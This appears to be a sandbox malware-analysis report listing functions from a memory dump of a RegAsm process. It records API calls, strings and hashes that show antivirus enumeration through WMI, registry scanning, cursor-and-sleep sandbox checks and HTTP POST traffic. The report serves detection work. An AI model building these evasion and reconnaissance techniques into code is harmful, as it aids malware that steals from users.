:, xrefs: 0045345E

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:::
API String ID: 3732870572-4246453620
Opcode ID: 1a2979155b61dd57134bd2aeb02030b93da5cd77c899a4b9846a7c615acf8b34
Instruction ID: e013231c39eafe90d915e509e1313e767ff7a54dc5b864f8d176fd14405d1934
Opcode Fuzzy Hash: 1a2979155b61dd57134bd2aeb02030b93da5cd77c899a4b9846a7c615acf8b34
Instruction Fuzzy Hash: 584349709052688BCB25DF25CC90BEEB7B5AF45309F0481DED54AAB242DB346F88CF59

Function 004305F0 Relevance: 29.2, APIs: 13, Strings: 3, Instructions: 1186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 0043073A
__aulldiv.LIBCMT ref: 00430A49

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__fread_nolock.LIBCMT ref: 00430AEF
__aulldiv.LIBCMT ref: 00430B5B

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00430C95
__aulldiv.LIBCMT ref: 00430DCA
__aulldiv.LIBCMT ref: 00430F8A
__fread_nolock.LIBCMT ref: 00430FE1

Strings

j3l6lrek, xrefs: 004307EF, 0043082A
eks, xrefs: 00430760
xh, xrefs: 0043087B

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$__fread_nolock
String ID: xh$eks$j3l6lrek
API String ID: 3493607940-1902240370
Opcode ID: 38dedf444808e414d00acc9694aab9e7e5489d9a53ddfbf0272c498845ae4e7c
Instruction ID: 925d052af5b78c30f706d9b907c5f03fe4e9b93f679ed6e82bf1c111d5dc5eac
Opcode Fuzzy Hash: 38dedf444808e414d00acc9694aab9e7e5489d9a53ddfbf0272c498845ae4e7c
Instruction Fuzzy Hash: 1EB28EB1E002189BDB24DF64CC91BEEB7B5BB88304F1481A9E509B7391DB346E85CF55

Function 00431690 Relevance: 29.2, APIs: 13, Strings: 3, Instructions: 1186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 004317DA
__aulldiv.LIBCMT ref: 00431AE9

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__fread_nolock.LIBCMT ref: 00431B8F
__aulldiv.LIBCMT ref: 00431BFB

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00431D35
__aulldiv.LIBCMT ref: 00431E6A
__aulldiv.LIBCMT ref: 0043202A
__fread_nolock.LIBCMT ref: 00432081

Strings

T&6, xrefs: 0043191B
j3l6lrek, xrefs: 0043188F, 004318CA
eks, xrefs: 00431800

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$__fread_nolock
String ID: T&6$eks$j3l6lrek
API String ID: 3493607940-381730535
Opcode ID: baf3587c39e5598f4c3b0557422716eeaec311aaa5d645a30f34a9a413643b84
Instruction ID: 1ada1e6853f78453f2f99c43d2021430d0b8fbef35e1577d8cf65d033466e220
Opcode Fuzzy Hash: baf3587c39e5598f4c3b0557422716eeaec311aaa5d645a30f34a9a413643b84
Instruction Fuzzy Hash: 60B29EB1E002189BDB24DF64CC91BEEBBB5BB88304F1481A9E509B7390DB746E85CF55

Function 004334B0 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 004334BD
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004334E3
CoUninitialize.OLE32 ref: 004334F2

Strings

Select * From AntiVirusProduct, xrefs: 004335D5
displayName, xrefs: 004336F4
%ws, xrefs: 00433723
WQL, xrefs: 00433606
ROOT\SecurityCenter2, xrefs: 00433548

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Initialize$SecurityUninitialize
String ID: %ws$ROOT\SecurityCenter2$Select * From AntiVirusProduct$WQL$displayName
API String ID: 3757020523-4229669714
Opcode ID: 39811b97c3c1ded341fdcb7d79c83e2e3600ed6628ef681f3cbb2708c15e69b4
Instruction ID: 1fa1c8609b7eb998f9ee7959365ad0ffedaab0c18fea92d4328c5fbc3c9b7b4d
Opcode Fuzzy Hash: 39811b97c3c1ded341fdcb7d79c83e2e3600ed6628ef681f3cbb2708c15e69b4
Instruction Fuzzy Hash: 09A128B4E00209EFDB14DF94C985BEEBBB1FB48305F20815AE5126B390D7B86A45CF54

Function 00434BF0 Relevance: 24.2, APIs: 3, Strings: 10, Instructions: 1456COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 004356A0
__aulldiv.LIBCMT ref: 004359F8
__aulldiv.LIBCMT ref: 00435D54

Strings

6, xrefs: 00434DAA
`, xrefs: 00434D1F
[2?, xrefs: 0043547C
r, xrefs: 00435AEB
d, xrefs: 004360BD
j3l6lrek, xrefs: 00434CB0, 00434CEB, 004362F8, 00436333
eks, xrefs: 00434C09, 00436251
kfoz, xrefs: 00435E68
J, xrefs: 00434DA6
T!&8, xrefs: 004357D4

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: 6$J$T!&8$[2?$`$d$eks$j3l6lrek$kfoz$r
API String ID: 3732870572-2417546939
Opcode ID: 7c9b558cb4fb53c68d3f8f19e25bcf1461dfb65f875be275d1e29295428b51f7
Instruction ID: e442cb2fc3b4a24782e54d727f5676cdb305fc41c64da2557fe15bc93a6ed25f
Opcode Fuzzy Hash: 7c9b558cb4fb53c68d3f8f19e25bcf1461dfb65f875be275d1e29295428b51f7
Instruction Fuzzy Hash: D1E27770D042689BDB24DB64CC95BEEBBB5BF89304F0481EAE509A7341DB382E85CF55

Function 00433A90 Relevance: 21.9, APIs: 3, Strings: 9, Instructions: 892
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 00433BF4
__aulldiv.LIBCMT ref: 00433CAD
__aulldiv.LIBCMT ref: 00434378

Strings

C, xrefs: 00433F32
F, xrefs: 00433F2E
j3l6lrek, xrefs: 00434554, 0043458F, 00434788, 004347C3
eks, xrefs: 004344B6, 004346E1
C, xrefs: 00433F3A
U, xrefs: 00433CDA
Content-Type: application/x-www-form-urlencoded, xrefs: 004343BD, 004343FD
V, xrefs: 00433F36
", xrefs: 00433F2A

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: "$C$C$Content-Type: application/x-www-form-urlencoded$F$U$V$eks$j3l6lrek
API String ID: 3732870572-1869607083
Opcode ID: 5762ca754823267f9f0ec56690e1319b7dce012764459ebe442c6a1a6df21fcb
Instruction ID: 385e7d2523ff60455ddfcc362c43c6f5fb3daf2784ea040f2e2659fb965796af
Opcode Fuzzy Hash: 5762ca754823267f9f0ec56690e1319b7dce012764459ebe442c6a1a6df21fcb
Instruction Fuzzy Hash: C1923470D002289BDB24DF69CC95BEEBBB5BF89304F1481EAE409A7251DB746E84CF54

Function 00509CE0 Relevance: 16.0, APIs: 10, Instructions: 1016
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,?,?), ref: 00509E17
GetModuleHandleA.KERNEL32(?,?,?), ref: 00509F69
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A0BB
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A20D
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A35F
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A4E7
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A681
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A81B
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A9B5
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050AB4F

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 695ec02c970b87413b36c011bb90c693e6750325877d35c2bfecfb8bb89d8cd6
Instruction ID: 2db4b54f7bf07b9d4794c58169296685d6fb4cf841b29b482b51135658ccdfa1
Opcode Fuzzy Hash: 695ec02c970b87413b36c011bb90c693e6750325877d35c2bfecfb8bb89d8cd6
Instruction Fuzzy Hash: 54B2F270D052688FDB25CF68CC90BEEBBB1BF89308F1481D9D449AB386D6316A84DF55

Function 0046D580 Relevance: 15.6, APIs: 2, Strings: 5, Instructions: 3312COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0046F44F

Strings

&, xrefs: 0046FA36
), xrefs: 0047054D
', xrefs: 00470174
3, xrefs: 0046FFBC
%, xrefs: 0046F4BB

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3
API String ID: 3732870572-1175896778
Opcode ID: 0db415d92543299efadeb2becbeed72a3aea9b349703d9a22d5a9480120ea9bb
Instruction ID: 4fbc9dde5ee2a535dd417dead8912885e206b0cc4bff69084cb0864527b85e09
Opcode Fuzzy Hash: 0db415d92543299efadeb2becbeed72a3aea9b349703d9a22d5a9480120ea9bb
Instruction Fuzzy Hash: 6D83DF70D052688FCB65CB28CC90BEEBBB1AF89308F0481DAD54DA7252DB356E85CF55

Function 00436570 Relevance: 15.2, APIs: 2, Strings: 6, Instructions: 1184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

N, xrefs: 00436746
k, xrefs: 004367CA
j3l6lrek, xrefs: 00436AD5, 00436B10
eks, xrefs: 00436A2E
O&+, xrefs: 00436F8F
2, xrefs: 00436742

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionVariableWake
String ID: 2$N$O&+$eks$j3l6lrek$k
API String ID: 4258034872-3447270163
Opcode ID: 8acaeb10fc1c06bdccfd3e9434e6f7c2670c92506b88cd3fa9e115357d461cbe
Instruction ID: 84cc87a471fb877d5664874cea0fd7478b9ad8884c16fdb2b49a3869f44a7b01
Opcode Fuzzy Hash: 8acaeb10fc1c06bdccfd3e9434e6f7c2670c92506b88cd3fa9e115357d461cbe
Instruction Fuzzy Hash: 87C287B0D002299BDB24DB65CC91BEEBBB5BF49304F0481EAE50A67341DB386E85CF55

Function 00442810 Relevance: 11.3, APIs: 4, Strings: 2, Instructions: 789
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053F2CA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-00005B29,?,004315B5,00591F6C,?,00000009,00000000,?,00000000,?,?,?,00000009,00000000), ref: 0053F2D5
Part of subcall function 0053F2CA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-00005B29,?,004315B5,00591F6C,?,00000009,00000000,?,00000000,?,?,?,00000009,00000000), ref: 0053F30F

__aulldiv.LIBCMT ref: 00442AD7
RegEnumKeyExA.KERNEL32(?,00000000,?,00000104,00000000,00000000,00000000,00000000,00000000,eks), ref: 00442D00
RegOpenKeyExA.KERNEL32(80000001,?,00000000,?,?), ref: 00442B89

Part of subcall function 0053F279: AcquireSRWLockExclusive.KERNEL32(0058F970,-00005B29,?,004315E2,00591F6C), ref: 0053F283
Part of subcall function 0053F279: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,004315E2,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000009), ref: 0053F2B6
Part of subcall function 0053F279: WakeAllConditionVariable.KERNEL32(0058F96C,?,004315E2,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000009), ref: 0053F2C1

Strings

j3l6lrek, xrefs: 00442989, 004429C4, 00442C61, 00442C9C, 0044324A, 00443285, 00443488, 004434C3
eks, xrefs: 004428F4, 00442BCC, 00443168, 004431A3, 004433A6, 004433E1

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionEnumOpenVariableWake__aulldiv
String ID: eks$j3l6lrek
API String ID: 2427947366-388657971
Opcode ID: f94139e850da8218756144312bdf3cdbc8b1b576a68d5bc71e5b1120a629918c
Instruction ID: 89b401b4b9390e727e26821b9f4338369ab13295ac454bbad8140d62654a6874
Opcode Fuzzy Hash: f94139e850da8218756144312bdf3cdbc8b1b576a68d5bc71e5b1120a629918c
Instruction Fuzzy Hash: 8D8221B0D002289BEB24CF65C995BEEBBB1BF49304F1081DAE509A7251DB746E89CF54

Function 00440DC0 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 393
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053F2CA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-00005B29,?,004315B5,00591F6C,?,00000009,00000000,?,00000000,?,?,?,00000009,00000000), ref: 0053F2D5
Part of subcall function 0053F2CA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-00005B29,?,004315B5,00591F6C,?,00000009,00000000,?,00000000,?,?,?,00000009,00000000), ref: 0053F30F

Part of subcall function 0053F279: AcquireSRWLockExclusive.KERNEL32(0058F970,-00005B29,?,004315E2,00591F6C), ref: 0053F283
Part of subcall function 0053F279: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,004315E2,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000009), ref: 0053F2B6
Part of subcall function 0053F279: WakeAllConditionVariable.KERNEL32(0058F96C,?,004315E2,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000009), ref: 0053F2C1

__aulldiv.LIBCMT ref: 004410E5
__aulldiv.LIBCMT ref: 00441159

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__fread_nolock.LIBCMT ref: 004412EF

Strings

j3l6lrek, xrefs: 00441258, 00441287
eks, xrefs: 0044119A, 004411C9
\.>, xrefs: 00440F10

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock__aulldiv$AcquireRelease$ConditionVariableWake__fread_nolock
String ID: \.>$eks$j3l6lrek
API String ID: 577242060-2567172889
Opcode ID: 5ce2e3c83096bbc9ab6c3d94b10b635755de71a12be3fedb5670c11a24637541
Instruction ID: 770c36164cb75e7a0b14cb44d684a2e43ef06f3b0665a502a55db79fe9d1771e
Opcode Fuzzy Hash: 5ce2e3c83096bbc9ab6c3d94b10b635755de71a12be3fedb5670c11a24637541
Instruction Fuzzy Hash: 8DF14A71E002189FEB14DFA5CC41BEEBBB5BF88304F1481AAE509AB341D7746A85CF65

Function 0042C520 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000001), ref: 0042C572
GetLastError.KERNEL32 ref: 0042C582
__aulldiv.LIBCMT ref: 0042C5E2
__aulldiv.LIBCMT ref: 0042C6BF
__aulldiv.LIBCMT ref: 0042C7E5

Strings

2?g, xrefs: 0042C632

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$AttributesErrorFileLast
String ID: 2?g
API String ID: 3597693367-1403401771
Opcode ID: d47a30508ee5e726a0c175a3bad41097189a9845ada9c3deb92c9c885810eb85
Instruction ID: 50380145ce40dcc008935ca0c6a80b0c00ab6ba12451b2b0e0d5d451046bcf49
Opcode Fuzzy Hash: d47a30508ee5e726a0c175a3bad41097189a9845ada9c3deb92c9c885810eb85
Instruction Fuzzy Hash: 4EA17471E00218AFEB24DFA8DC81B9EBBB5FB88714F518169E908B7384D7786D418F54

Function 00432FE0 Relevance: 9.3, APIs: 6, Instructions: 343
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCursorPos.USER32(?), ref: 00432FF3
GetCursorPos.USER32(?), ref: 0043300A
Sleep.KERNEL32(?), ref: 004331C0
GetCursorPos.USER32(?), ref: 004331CA
__aulldiv.LIBCMT ref: 004332AD
Sleep.KERNEL32(?), ref: 00433495

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Cursor$Sleep$__aulldiv
String ID:
API String ID: 1481957275-0
Opcode ID: 07b80a2384683cd705c6955c18f6d304af7e543e39ccd06ee3b0d7a1a88fec52
Instruction ID: ccc200913b5e7c7ae8cc5ab579943302eddcee0ec18ed61f2b2ceff721ac0452
Opcode Fuzzy Hash: 07b80a2384683cd705c6955c18f6d304af7e543e39ccd06ee3b0d7a1a88fec52
Instruction Fuzzy Hash: 8EF1C474E042189FDB14CF98D890BAEBBB2FF88305F14819AE819A7345D734AA85CF55

Function 0050CDF0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 135
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(00000000,00000000,aaj38,?), ref: 0050CF50
GetProcessHeap.KERNEL32(00000008,-00000001,00000000,aaj38,?), ref: 0050CF73
HeapAlloc.KERNEL32(00000000), ref: 0050CF7A
lstrcpynA.KERNEL32(00000000,00000000,00000000), ref: 0050CF8F

Strings

aaj38, xrefs: 0050CE59, 0050CE88
38a49, xrefs: 0050CF02, 0050CF31

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocProcesslstrcpynlstrlen
String ID: 38a49$aaj38
API String ID: 2211197272-4103302207
Opcode ID: bd963ae0a1cde2f4cc2b5028d2a6de743b20cf6825049c201c1c67c380ed97ab
Instruction ID: 69d2003fd35b5b41f8d010ff8495aa532dad59df9192b8a79a326ac7acfeda80
Opcode Fuzzy Hash: bd963ae0a1cde2f4cc2b5028d2a6de743b20cf6825049c201c1c67c380ed97ab
Instruction Fuzzy Hash: 415101B0D04249AFCF04DFE4D895BEEBFB5BF49304F10815AE506AB281C7745A85CB95

Function 0050CB10 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 218
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0050C7F0: InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000,?,?), ref: 0050C844

InternetOpenUrlA.WININET(00000000,00000002,00000000,00000000,80000000,00000000), ref: 0050CC23
InternetCloseHandle.WININET(00000000), ref: 0050CDB7

Strings

{, xrefs: 0050CCE1

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$Open$CloseHandle
String ID: {
API String ID: 3289985339-366298937
Opcode ID: c5cce249c2cb224422312cbd20753cb2864ffd4df2bf6691e96dbd12e665a929
Instruction ID: a398394c07237e7be664a6a521aa33666a10888b738171bf59dc7f74ee1ef95f
Opcode Fuzzy Hash: c5cce249c2cb224422312cbd20753cb2864ffd4df2bf6691e96dbd12e665a929
Instruction Fuzzy Hash: 62A1F1B1D00248DFEB04CF98C895BEEBFB5BF49304F248669E415AB281D774AA45CF94

Function 00427140 Relevance: 7.2, APIs: 2, Strings: 1, Instructions: 1923libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00424660: __aulldiv.LIBCMT ref: 004249F3

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00428F5A
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004290FF

Strings

Gxqqd, xrefs: 00427415

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad$__aulldiv
String ID: Gxqqd
API String ID: 898380398-2880574630
Opcode ID: 3ead4c14445e4edc41203a95749964d0ae9adae307fde4423606b1df0157bfb8
Instruction ID: 947d24540fc1fb65debdfa99682be3ea49f178e8ecbd2866fda6ef5d6506dc0e
Opcode Fuzzy Hash: 3ead4c14445e4edc41203a95749964d0ae9adae307fde4423606b1df0157bfb8
Instruction Fuzzy Hash: DD231770E052688FDB25CF68DC90BEEBBB1BF4A308F1481DAD449AB342D6355A85CF54

Function 004349D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00434A6D
__aulldiv.LIBCMT ref: 00434B27

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 00434B54, 00434B88

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: Content-Type: application/x-www-form-urlencoded
API String ID: 3732870572-2811858139
Opcode ID: 46f192b548674fcafb842aaa2a73e43b12aaff23d3bde2324c8268a69e8ff592
Instruction ID: 64a92f402c2a2ae5902fc5c9c197943717a5cb0c66776133026f6b6ce99c75e0
Opcode Fuzzy Hash: 46f192b548674fcafb842aaa2a73e43b12aaff23d3bde2324c8268a69e8ff592
Instruction Fuzzy Hash: A4612EB1E002089BDB14DFA9DC55BEEBBB5FF88304F108129E509BB384DB746945CB55

Function 0051CCF0 Relevance: 4.6, APIs: 3, Instructions: 140COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 0051CD7E
GetLastError.KERNEL32 ref: 0051CDBF
SetLastError.KERNEL32(?,?,00000000,00000001,00000028,?,00000000,00000001,00000008), ref: 0051CE64

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$HandleModule
String ID:
API String ID: 1090667551-0
Opcode ID: bb15006e30f6fc4ad114c43c02281f78c9b151033810da23866ffd457616cdb5
Instruction ID: 65876ea21a1f34548f2352b485f4cf2642cde257cfbdde8a8d00721e52f5625b
Opcode Fuzzy Hash: bb15006e30f6fc4ad114c43c02281f78c9b151033810da23866ffd457616cdb5
Instruction Fuzzy Hash: E751E1B5E08298AFDF05DBF98C55AEFBFF96F49200F04849EF555E3282E53586048B60

Function 0051CF90 Relevance: 3.2, APIs: 2, Instructions: 150COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(000005B6), ref: 0051D03F
GetModuleHandleA.KERNEL32(00000000), ref: 0051D11E

Part of subcall function 0053F2CA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-00005B29,?,004315B5,00591F6C,?,00000009,00000000,?,00000000,?,?,?,00000009,00000000), ref: 0053F2D5
Part of subcall function 0053F2CA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-00005B29,?,004315B5,00591F6C,?,00000009,00000000,?,00000000,?,?,?,00000009,00000000), ref: 0053F30F

Part of subcall function 0051CCF0: GetModuleHandleA.KERNEL32(00000000), ref: 0051CD7E
Part of subcall function 0051CCF0: GetLastError.KERNEL32 ref: 0051CDBF

Part of subcall function 0053F279: AcquireSRWLockExclusive.KERNEL32(0058F970,-00005B29,?,004315E2,00591F6C), ref: 0053F283
Part of subcall function 0053F279: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,004315E2,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000009), ref: 0053F2B6
Part of subcall function 0053F279: WakeAllConditionVariable.KERNEL32(0058F96C,?,004315E2,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000009), ref: 0053F2C1

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireErrorHandleLastModuleRelease$ConditionVariableWake
String ID:
API String ID: 1192564941-0
Opcode ID: 31e1b209d037b74a4ae8c7072f53c435e626d1024d3089432b6a969d75756999
Instruction ID: f20da72b4416807589c4e5a8b1cf9a3e4cad01a6869bdee72952201aed007c17
Opcode Fuzzy Hash: 31e1b209d037b74a4ae8c7072f53c435e626d1024d3089432b6a969d75756999
Instruction Fuzzy Hash: 6E51D4B5D04259AFDB04DBF89855AEEBFB5BB58300F04416DF455A3282EA345A04CB71

Function 0053EF8E Relevance: 1.7, APIs: 1, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0053F5C9

Part of subcall function 00541B01: RaiseException.KERNEL32(E06D7363,00000001,00000003,0053F5B2,?,?,?,?,0053F5B2,?,00589EB8), ref: 00541B61

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExceptionFeaturePresentProcessorRaise
String ID:
API String ID: 1477838251-0
Opcode ID: 7a860477cc7294d89b81a770cdb156475d53b20c37cb96d0714c8d4aaa9af3a0
Instruction ID: 4459a27a4b66c1b87f411efd8164593d913dbb74739a1924db85ec7feeab60fb
Opcode Fuzzy Hash: 7a860477cc7294d89b81a770cdb156475d53b20c37cb96d0714c8d4aaa9af3a0
Instruction Fuzzy Hash: 0E619171D01309DBEB14CFA8E8867AEBBF4FB48314F24853AD815E72A1D3709948CB90

Function 0050C7F0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 255
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000,?,?), ref: 0050C844
InternetConnectA.WININET(00000000,0000EFD2,00000050,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0050C88F
HttpOpenRequestA.WININET(00000000,?,00000000,00000000,00000000,00000000,?,00000000,?,?), ref: 0050C968

Strings

6~swr, xrefs: 0050C910

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InternetOpen$ConnectHttpRequest
String ID: 6~swr
API String ID: 3864186401-3949020348
Opcode ID: 4d7263bf470fed7a461505f7a524412fbd91c3879cc8fecdf0fee187ef9df683
Instruction ID: 57da01e20d5996c5c200dd557919d1c25021c590659b5a1b680ecbcead52ea0d
Opcode Fuzzy Hash: 4d7263bf470fed7a461505f7a524412fbd91c3879cc8fecdf0fee187ef9df683
